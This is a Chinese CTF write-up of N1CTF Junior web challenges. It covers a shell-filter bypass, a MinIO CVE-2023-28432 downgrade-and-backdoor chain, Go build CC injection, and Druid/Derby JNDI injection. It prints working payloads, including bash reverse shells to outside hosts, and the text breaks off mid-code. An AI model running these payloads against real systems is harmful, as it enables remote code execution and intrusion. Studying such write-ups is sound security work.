赞
踩
Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team
作为国内TOP CTF战队,Nu1LTeam自2015年10月成立以来,斩获了国内外众多赛事冠军以及闯入DEFCON CTF总决赛,这得益于Nu1L每一位队员的努力。 我们期望发掘以及培养年轻力量,于是自2023年开始,我们决定举办N1CTF Junior,旨在选拔优秀年轻人才加入Nu1LTeam。
首页 - 网络空间测绘,网络安全,漏洞分析,动态测绘,钟馗之眼,时空测绘,赛博测绘 - ZoomEye("钟馗之眼")网络空间搜索引擎https://www.zoomeye.org/
浏览器要炸了
Boogipop: Rank 1
小北也是比较意外拿了个第一,各个题目都做的挺顺利(因为有hint,嘿嘿~)
zako
虽然是个签到题,但这确实是小北做的最久的题了
emmmmm,这个wp也就只有审核可以看到了,这里就说一下我蠢到极致的解法吧,首先我们可以获取execute.sh的内容如下:
#!/bin/bash reject() { echo "${1}" exit 1 } XXXCMD=$1 awk -v str="${XXXCMD}" ' BEGIN { deny="`;&$(){}[]!@#$%^&*-"; for (i = 1; i <= length(str); i++) { char = substr(str, i, 1); for (x = 1; x < length(deny) + 1; x++) { r = substr(deny, x, 1); if (char == r) exit 1; } } } ' [ $? -ne 0 ] && reject "NOT ALLOW 1" eval_cmd=$(echo "${XXXCMD}" | awk -F "|" ' BEGIN { allows[1] = "ls"; allows[2] = "makabaka"; allows[3] = "whoareu"; allows[4] = "cut~no"; allows[5] = "grep"; allows[6] = "wc"; allows[7] = "杂鱼杂鱼"; allows[8] = "netstat.jpg"; allows[9] = "awsl"; allows[10] = "dmesg"; allows[11] = "xswl"; }{ num = 1; for (i = 1; i <= NF; i++) { for (x = 1; x <= length(allows); x++) { cmpstr = substr($i, 1, length(allows[x])); if (cmpstr == allows[x]) eval_cmd[num++] = $i; } } } END { for (i = 1; i <= length(eval_cmd); i++) { if (i != 1) printf "| %s", eval_cmd[i]; else printf "%s", eval_cmd[i]; } }' ) [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2" eval ${eval_cmd}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #!/bin/bash reject() { echo "${1}" exit 1 } XXXCMD=$1 awk -v str="${XXXCMD}" ' BEGIN { deny="`;&$(){}[]!@#$%^&*-"; for (i = 1; i <= length(str); i++) { char = substr(str, i, 1); for (x = 1; x < length(deny) + 1; x++) { r = substr(deny, x, 1); if (char == r) exit 1; } } } ' [ $? -ne 0 ] && reject "NOT ALLOW 1" eval_cmd=$(echo "${XXXCMD}" | awk -F "|" ' BEGIN { allows[1] = "ls"; allows[2] = "makabaka"; allows[3] = "whoareu"; allows[4] = "cut~no"; allows[5] = "grep"; allows[6] = "wc"; allows[7] = "杂鱼杂鱼"; allows[8] = "netstat.jpg"; allows[9] = "awsl"; allows[10] = "dmesg"; allows[11] = "xswl"; }{ num = 1; for (i = 1; i <= NF; i++) { for (x = 1; x <= length(allows); x++) { cmpstr = substr($i, 1, length(allows[x])); if (cmpstr == allows[x]) eval_cmd[num++] = $i; } } } END { for (i = 1; i <= length(eval_cmd); i++) { if (i != 1) printf "| %s", eval_cmd[i]; else printf "%s", eval_cmd[i]; } }' ) [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2" eval ${eval_cmd}这是一个sh脚本,其实所做的内容也很简单,设置了11个白名单
其实有用的也就3个wc、ls、grep
- wc:查看文件行数情况,不可以读取内容
- grep:可读取文件内容
- ls:不多说
其次还设置了一个shell环境下的黑名单
deny="
;&$(){}[]!@#$%^&*-“;,过滤了一些特殊字符。源码没了,感谢
@蒋十七`师傅的源码提供,阿里嘎多~
<?php //something hide here highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); $cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd)>70) { die("no, >70"); } if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){ die("你就不能绕一下喵"); } system("./execute.sh '".$cmd."'"); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php //something hide here highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight")); $cmd = $_REQUEST["__secret.xswl.io"]; if (strlen($cmd)>70) { die("no, >70"); } if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){ die("你就不能绕一下喵"); } system("./execute.sh '".$cmd."'"); ?>我们可以使用ls指令查看当前所有文件。
并且可以使用grep 进行文件读取
当然flag是不可能被读出来的,接下里就是我的铸币解法了。先说一下思路,我认为这道题php有waf1,shell中有waf2,硬绕waf1 2我觉得我是不行,但是但凡少其中一个waf我都可以做出来,因此想法油然而生了。
我要将如下内容写入pop.php
<?php $cmd = $_REQUEST["__secret.xswl.io"]; system("./execute.sh '".$cmd."'"); ?>
1 2 3 4 <?php $cmd = $_REQUEST["__secret.xswl.io"]; system("./execute.sh '".$cmd."'"); ?>这样我就可以避免外层waf了。实现起来也很简单,依次进行如下操作
?.[secret.xswl.io=grep "<?php" inde?.php >> pop.php
?.[secret.xswl.io=grep "cmd" inde?.php >> pop.php
?.[secret.xswl.io=grep "system" inde?.php >> pop.php
然后读取一下pop.php的内容。
好了大功告成,那么最后的payload就是?.[secret.xswl.io=ls';cat /flag'
还好最后一小时放了hint,不然到死都没想到这个思路,其实我感觉这个思路很不,Lolita师傅太强拉
CVE-2023-28432
GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an account on GitHub.https://github.com/AbelChe/evil_minio
这是去年三月份出的漏洞,原理就是minio 信息泄露拿到管理员账号密码,进而可以自更新rce。但是利用有个前提条件,那就是不能在环境变量配置minisignPubKey,否则会进入verifyBinary检查sha256。那么就不可以自更新rce了。
- const (
- // Update this whenever the official minisign pubkey is rotated.
- defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
- )
-
- func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {
- if !updateInProgress.CompareAndSwap(0, 1) {
- return errors.New("update already in progress")
- }
- defer updateInProgress.Store(0)
-
- transport := getUpdateTransport(30 * time.Second)
- opts := selfupdate.Options{
- Hash: crypto.SHA256,
- Checksum: sha256Sum,
- }
-
- if err := opts.CheckPermissions(); err != nil {
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
- StatusCode: http.StatusInternalServerError,
- }
- }
-
- minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)
- if minisignPubkey != "" {
- v := selfupdate.NewVerifier()
- u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
- if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: fmt.Sprintf("signature loading failed for %v with %v", u, err),
- StatusCode: http.StatusInternalServerError,
- }
- }
- opts.Verifier = v
- }
-
- if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {
- var pathErr *os.PathError
- if errors.As(err, &pathErr) {
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: fmt.Sprintf("Unable to update the binary at %s: %v",
- filepath.Dir(pathErr.Path), pathErr.Err),
- StatusCode: http.StatusForbidden,
- }
- }
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: err.Error(),
- StatusCode: http.StatusInternalServerError,
- }
- }
-
- return nil
- }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | const ( // Update this whenever the official minisign pubkey is rotated. defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav" ) func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) { if !updateInProgress.CompareAndSwap(0, 1) { return errors.New("update already in progress") } defer updateInProgress.Store(0) transport := getUpdateTransport(30 * time.Second) opts := selfupdate.Options{ Hash: crypto.SHA256, Checksum: sha256Sum, } if err := opts.CheckPermissions(); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err), StatusCode: http.StatusInternalServerError, } } minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey) if minisignPubkey != "" { v := selfupdate.NewVerifier() u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig" if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("signature loading failed for %v with %v", u, err), StatusCode: http.StatusInternalServerError, } } opts.Verifier = v } if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil { var pathErr *os.PathError if errors.As(err, &pathErr) { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("Unable to update the binary at %s: %v", filepath.Dir(pathErr.Path), pathErr.Err), StatusCode: http.StatusForbidden, } } return AdminError{ Code: AdminUpdateApplyFailure, Message: err.Error(), StatusCode: http.StatusInternalServerError, } } return nil } |
这是题目版本对应的verifyBinary函数逻辑,可以看到传入了一个publickey进行校验。并且publickey怎么样都是有个值的。
这导致我们无法自更新二开后的minio 二进制文件。那怎么办呢?
这里其实就引入了一个二次思维,我们先将版本退化为不需要校验publickey的版本,然后再上传我们的evil_minio,这样就可以绕过这个机制了
这是2023-2月版本的verrifyBinary方法:
- func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {
- if !atomic.CompareAndSwapUint32(&updateInProgress, 0, 1) {
- return errors.New("update already in progress")
- }
- defer atomic.StoreUint32(&updateInProgress, 0)
-
- transport := getUpdateTransport(30 * time.Second)
- opts := selfupdate.Options{
- Hash: crypto.SHA256,
- Checksum: sha256Sum,
- }
-
- if err := opts.CheckPermissions(); err != nil {
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
- StatusCode: http.StatusInternalServerError,
- }
- }
-
- minisignPubkey := env.Get(envMinisignPubKey, "")
- if minisignPubkey != "" {
- v := selfupdate.NewVerifier()
- u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
- if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: fmt.Sprintf("signature loading failed for %v with %v", u, err),
- StatusCode: http.StatusInternalServerError,
- }
- }
- opts.Verifier = v
- }
-
- if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {
- var pathErr *os.PathError
- if errors.As(err, &pathErr) {
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: fmt.Sprintf("Unable to update the binary at %s: %v",
- filepath.Dir(pathErr.Path), pathErr.Err),
- StatusCode: http.StatusForbidden,
- }
- }
- return AdminError{
- Code: AdminUpdateApplyFailure,
- Message: err.Error(),
- StatusCode: http.StatusInternalServerError,
- }
- }
-
- return nil
- }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) { if !atomic.CompareAndSwapUint32(&updateInProgress, 0, 1) { return errors.New("update already in progress") } defer atomic.StoreUint32(&updateInProgress, 0) transport := getUpdateTransport(30 * time.Second) opts := selfupdate.Options{ Hash: crypto.SHA256, Checksum: sha256Sum, } if err := opts.CheckPermissions(); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err), StatusCode: http.StatusInternalServerError, } } minisignPubkey := env.Get(envMinisignPubKey, "") if minisignPubkey != "" { v := selfupdate.NewVerifier() u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig" if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("signature loading failed for %v with %v", u, err), StatusCode: http.StatusInternalServerError, } } opts.Verifier = v } if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil { var pathErr *os.PathError if errors.As(err, &pathErr) { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("Unable to update the binary at %s: %v", filepath.Dir(pathErr.Path), pathErr.Err), StatusCode: http.StatusForbidden, } } return AdminError{ Code: AdminUpdateApplyFailure, Message: err.Error(), StatusCode: http.StatusInternalServerError, } } return nil } |
在这里假如环境变量中没有配置publickey那么就默认为空,也就绕过了判断。这就符合我们的条件了。在题目环境中环境变量是没配置publickey的,不然也打不了。
题目给的是内网9000端口映射出的服务
http://47.112.112.23:23333http://47.112.112.23:23333/
我们利用mc 管理工具将其添加进我们的hostmc config host add minio [http://47.112.112.23:23333](http://47.112.112.23:23333) minioadmin minioadmin
目标是默认密码和用户名,权限也是admin,有自更新权限,首先是降级处理。这里我选用的版本是[minio.RELEASE.2023-02-10T18-48-39Z](https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2023-02-10T18-48-39Z)
https://dl.min.io/server/minio/release/linux-amd64/archive/https://dl.min.io/server/minio/release/linux-amd64/archive/
我们需要这三个文件,下载下来后先给他改个名字,自更新判断的是sha256sum文件的第二个字段。
假如这个字段的版本小于服务器当前的版本,那么就不会自更新,所以我们随便将其改为另一个名字minio.RELEASE.2024-01-15T18-25-24Z
,并且将sha256sum文件以及内容也改为如上的名字,之后我们就可以开启自更新了。mc admin update minio [http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum](http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum) -y
等待大概四分钟,我们就可以看到更新成功。(我服务器是真屎啊,95M传四分钟)
接下来我们该做的就是二次更新替换为evil_minio
编译该项目即可GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an account on GitHub.https://github.com/AbelChe/evil_minio
然后也是一样的处理,修改名字为超过当前版本的版本即可。这个可以不需要minisig文件,因为绕过了verifyBinary。mc admin update minio [http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum](http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum) -y
同样也是等待四分钟
最后输入全局后门alive获取flag即可。
MyGO!
给了源码分析一下。
- package main
-
- import (
- "embed"
- "fmt"
- "github.com/gin-gonic/gin"
- "net/http"
- "os"
- "os/exec"
- )
-
- //go:embed public/*
- var fs embed.FS
-
- func IndexHandler(c *gin.Context) {
- c.FileFromFS("public/", http.FS(fs))
- }
-
- func BuildHandler(c *gin.Context) {
- var req map[string]interface{}
-
- if err := c.ShouldBindJSON(&req); err != nil {
- c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
- return
- }
-
- if !PathExists("/tmp/build/") {
- os.Mkdir("/tmp/build/", 0755)
- }
-
- defer os.Remove("/tmp/build/main.go")
- defer os.Remove("/tmp/build/main")
-
- os.Chdir("/tmp/build/")
- os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
- var env []string
-
- for k, v := range req["env"].(map[string]interface{}) {
- env = append(env, fmt.Sprintf("%s=%s", k, v))
- }
-
- cmd := exec.Command("go", "build", "-o", "main", "main.go")
- cmd.Env = append(os.Environ(), env...)
-
- if err := cmd.Run(); err != nil {
- c.JSON(http.StatusOK, gin.H{"error": "Build error"})
- } else {
- c.File("/tmp/build/main")
- }
- }
-
- func PathExists(p string) bool {
- _, err := os.Stat(p)
- if err == nil {
- return true
- }
- if os.IsNotExist(err) {
- return false
- }
- return false
- }
-
- func main() {
- r := gin.Default()
- r.GET("/", IndexHandler)
- r.POST("/build", BuildHandler)
- r.Run(":8000")
- }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | package main import ( "embed" "fmt" "github.com/gin-gonic/gin" "net/http" "os" "os/exec" ) //go:embed public/* var fs embed.FS func IndexHandler(c *gin.Context) { c.FileFromFS("public/", http.FS(fs)) } func BuildHandler(c *gin.Context) { var req map[string]interface{} if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusOK, gin.H{"error": "Invalid request"}) return } if !PathExists("/tmp/build/") { os.Mkdir("/tmp/build/", 0755) } defer os.Remove("/tmp/build/main.go") defer os.Remove("/tmp/build/main") os.Chdir("/tmp/build/") os.WriteFile("main.go", []byte(req["code"].(string)), 0644) var env []string for k, v := range req["env"].(map[string]interface{}) { env = append(env, fmt.Sprintf("%s=%s", k, v)) } cmd := exec.Command("go", "build", "-o", "main", "main.go") cmd.Env = append(os.Environ(), env...) if err := cmd.Run(); err != nil { c.JSON(http.StatusOK, gin.H{"error": "Build error"}) } else { c.File("/tmp/build/main") } } func PathExists(p string) bool { _, err := os.Stat(p) if err == nil { return true } if os.IsNotExist(err) { return false } return false } func main() { r := gin.Default() r.GET("/", IndexHandler) r.POST("/build", BuildHandler) r.Run(":8000") } |
作用就是一个编译平台,你输入一个code,他就会帮你build,在这个过程中我们可控的东西只有environment变量,那么我们科学上网的时间就到了。
go command - cmd/go - Go Packageshttps://pkg.go.dev/cmd/go#hdr-Environment_variables
考察 Go build 环境变量注入
题目提供了一个交叉编译 Go 程序的功能, 在编译的时候只有环境变量可控, 所以思路就是通过控制环境变量实现 RCE
- var env []string
-
- for k, v := range req["env"].(map[string]interface{}) {
- env = append(env, fmt.Sprintf("%s=%s", k, v))
- }
-
- cmd := exec.Command("go", "build", "-o", "main", "main.go")
- cmd.Env = append(os.Environ(), env...)
-
- if err := cmd.Run(); err != nil {
- c.JSON(http.StatusOK, gin.H{"error": "Build error"})
- } else {
- c.File("/tmp/build/main")
- }
因为命令直接使用 exec.Command("go", "build", "-o", "main", "main.go")
运行, 所以不存在 Bash 上下文, 也就不存在 Bash 环境变量注入
因此只能从 go build 命令本身所使用的环境变量入手, 寻找可以命令注入的点
go 命令的相关环境变量可以使用 go env 查看
- GO111MODULE=''
- GOARCH='arm64'
- GOBIN=''
- GOCACHE='/root/.cache/go-build'
- GOENV='/root/.config/go/env'
- GOEXE=''
- GOEXPERIMENT=''
- GOFLAGS=''
- GOHOSTARCH='arm64'
- GOHOSTOS='linux'
- GOINSECURE=''
- GOMODCACHE='/go/pkg/mod'
- GONOPROXY=''
- GONOSUMDB=''
- GOOS='linux'
- GOPATH='/go'
- GOPRIVATE=''
- GOPROXY='https://proxy.golang.org,direct'
- GOROOT='/usr/local/go'
- GOSUMDB='sum.golang.org'
- GOTMPDIR=''
- GOTOOLCHAIN='local'
- GOTOOLDIR='/usr/local/go/pkg/tool/linux_arm64'
- GOVCS=''
- GOVERSION='go1.21.6'
- GCCGO='gccgo'
- AR='ar'
- CC='gcc'
- CXX='g++'
- CGO_ENABLED='1'
- GOMOD='/dev/null'
- GOWORK=''
- CGO_CFLAGS='-O2 -g'
- CGO_CPPFLAGS=''
- CGO_CXXFLAGS='-O2 -g'
- CGO_FFLAGS='-O2 -g'
- CGO_LDFLAGS='-O2 -g'
- PKG_CONFIG='pkg-config'
- GOGCCFLAGS='-fPIC -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build685738299=/tmp/go-build -gno-record-gcc-switches
不难发现其中 CC 环境变量的值为 gcc, 猜测在 go build 的时候可能会调用 gcc 以完成部分编译流程, 因此可以尝试将 CC 的值替换成任意命令, 实现 RCE
至于为什么会用到 gcc, 原因是 Go 语言支持 CGO 特性, 即使用 Go 调用 C 的函数
编写一个使用 CGO 的 Go 程序需要引入 C 这个包, 即 import "C"
- package main
-
- import "C"
-
- func main() {
- println("hello cgo")
- }
这样在 build 的时候就会调用 gcc
本地测试
CC='bash -c "id"' go build main.go
题目出网, 所以直接反弹 shell
- POST /build HTTP/1.1
- Host: 127.0.0.1:10800
- Content-Length: 145
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- Content-Type: text/plain;charset=UTF-8
- Accept: */*
- Accept-Encoding: gzip, deflate, br
- Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
- Connection: close
-
- {"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
- "CC":"bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'"},"code":"package main\n\nimport \"C\"\n\nfunc main() {\n println(\"hello cgo\")\n}"}
然后注意题目环境不支持 CGO 的交叉编译, 因此必须保证 GOOS 和 GOARCH 与题目环境一致, 即 linux 和 amd64
最后, 对于这道题也可以进一步思考, 如果题目环境不出网, 如何带出 flag?
答案是使用 Go embed 特性, Go 语言在编译的时候会将被 embed 的文件一起打包到二进制程序内部
那么就可以先通过 CC 环境变量注入在 go build 时将 flag 写入 /tmp/build 目录, 即项目目录, 因为 Go embed 不能打包位于项目目录之外的文件
CC='bash -c "/readflag > /tmp/build/flag.txt"' go build main.go
然后 build 如下代码, 使用 //go:embed flag.txt
打包 flag.txt, 这一步不需要交叉编译
- package main
-
- import (
- "fmt"
- _ "embed"
- )
-
- //go:embed flag.txt
- var s string
-
- func main() {
- fmt.Println(s)
- }
最后下载编译好的二进制文件到本地, 查找 flag
strings main | grep ctfhub
我找到了个好玩的变量,那就是CC
,这个东西是一个指令,我们可以看看本地
可以发现CC=gcc,这段代码触发的场合如下:
- package main
-
- // typedef int (*intFunc) ();
- //
- // int
- // bridge_int_func(intFunc f)
- // {
- // return f();
- // }
- //
- // int fortytwo()
- // {
- // return 42;
- // }
- import "C"
- import "fmt"
-
- func main() {
- f := C.intFunc(C.fortytwo)
- fmt.Println(int(C.bridge_int_func(f)))
- // Output: 42
- }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | package main // typedef int (*intFunc) (); // // int // bridge_int_func(intFunc f) // { // return f(); // } // // int fortytwo() // { // return 42; // } import "C" import "fmt" func main() { f := C.intFunc(C.fortytwo) fmt.Println(int(C.bridge_int_func(f))) // Output: 42 } |
注释中的C代码会被gcc进行编译。我们可以这样测试export CC=whoami
你将会看到一段抛错
那就是gcc被我们改成了whoami,自然就报错了,我们这里就是一个命令注入的点位了。
我们export CC='bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"'
即可完成注入获取flag。最终payload数据包如下:
- POST /build HTTP/1.1
- Host: 121.199.64.23:25480
- Content-Length: 443
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
- Content-Type: text/plain;charset=UTF-8
- Accept: */*
- Origin: http://121.199.64.23:25480
- Referer: http://121.199.64.23:25480/
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
- Connection: close
-
- {"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
- "CC":"bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"",
- "GOGCCFLAGS":""},"code":"package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n// printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n cs := C.CString(\"Hello from stdio\")\n C.myprint(cs)\n C.free(unsafe.Pointer(cs))\n}"}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | POST /build HTTP/1.1 Host: 121.199.64.23:25480 Content-Length: 443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: http://121.199.64.23:25480 Referer: http://121.199.64.23:25480/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close {"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1", "CC":"bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"", "GOGCCFLAGS":""},"code":"package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n// printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n cs := C.CString(\"Hello from stdio\")\n C.myprint(cs)\n C.free(unsafe.Pointer(cs))\n}"} |
考察 JNDI 注入在高版本 JDK 的绕过
题目直接给出了一个 JNDI 注入
- package com.example.derby;
-
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.RequestParam;
- import org.springframework.web.bind.annotation.RestController;
-
- import javax.naming.Context;
- import javax.naming.InitialContext;
-
- @RestController
- public class IndexController {
- @RequestMapping("/")
- public String index() {
- return "hello derby";
- }
-
- @RequestMapping("/lookup")
- public String lookup(@RequestParam String url) throws Exception {
- Context ctx = new InitialContext();
- ctx.lookup(url);
- return "ok";
- }
- }
pom.xml 依
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.21</version> </dependency> <dependency> <groupId>org.apache.derby</groupId> <artifactId>derby</artifactId> <version>10.14.2.0</version> </dependency> </dependencies>
环境特地使用了较新的 Java 17, 由于模块化的访问机制导致不能直接用 TemplatesImpl + Jackson 反序列化一把梭, 已有的 JNDI 利用工具就更不用说了
这道题的思路其实就是两篇文章:
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖跳跳糖 - 安全与分享社区https://tttang.com/archive/1405/
依赖给出了 Druid 连接池, 那么就可以使用 DruidDataSourceFactory 将 JNDI 注入转化为 JDBC 攻击
- Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
- String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
- "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
- "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
- "$$\n";
- String JDBC_USER = "root";
- String JDBC_PASSWORD = "password";
-
- ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
- ref.add(new StringRefAddr("url", JDBC_URL));
- ref.add(new StringRefAddr("username", JDBC_USER));
- ref.add(new StringRefAddr("password", JDBC_PASSWORD));
- ref.add(new StringRefAddr("initialSize", "1"));
- ref.add(new StringRefAddr("init", "true"));
但是这道题没有 H2 的依赖, 只有 Derby ,如何实现 RCE?
众所周知关于 Derby 的 JDBC 攻击思路大都是通过主从复制 (slaveHost/slavePort) 实现反序列化
但这道题并不是考察主从复制, 更何况 JNDI 本身也能够反序列化, 没有意义
思路就是第二篇文章, 通过 Derby SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE (仔细阅读 Derby 的官方文档也可以发现)
那么必须得有个执行 SQL 的点, 上面的 H2 在 JDBC URL 内有 INIT 参数, 但是 Derby 没有这样的参数
这步其实就需要大家仔细阅读 DruidDataSourceFactory 的源码, 或者 Druid 的官方文档, 不难发现存在 initConnectionSqls 参数
不过这些参数并不是写在 JDBC URL 里面, 而是跟上面的 driverClassName, url, username, password 一样, 写在 StringRefAddr 里面
StringRefAddr 只能传入字符串, 那么 initConnectionSqls 内的 SQL 语句就需要用分号分割
构造如下 payload
- package com.example;
-
- import com.unboundid.ldap.listener.InMemoryDirectoryServer;
- import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
- import com.unboundid.ldap.listener.InMemoryListenerConfig;
- import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
- import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
- import com.unboundid.ldap.sdk.Entry;
- import com.unboundid.ldap.sdk.LDAPResult;
- import com.unboundid.ldap.sdk.ResultCode;
-
- import javax.naming.Reference;
- import javax.naming.StringRefAddr;
- import javax.net.ServerSocketFactory;
- import javax.net.SocketFactory;
- import javax.net.ssl.SSLSocketFactory;
- import java.net.InetAddress;
- import java.util.ArrayList;
- import java.util.List;
-
- public class LDAPServer {
- private static final String LDAP_BASE = "dc=example,dc=com";
-
- public static void main(String[] args) {
-
- int port = 1389;
-
- try {
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen",
- InetAddress.getByName("0.0.0.0"),
- port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
-
- config.addInMemoryOperationInterceptor(new OperationInterceptor());
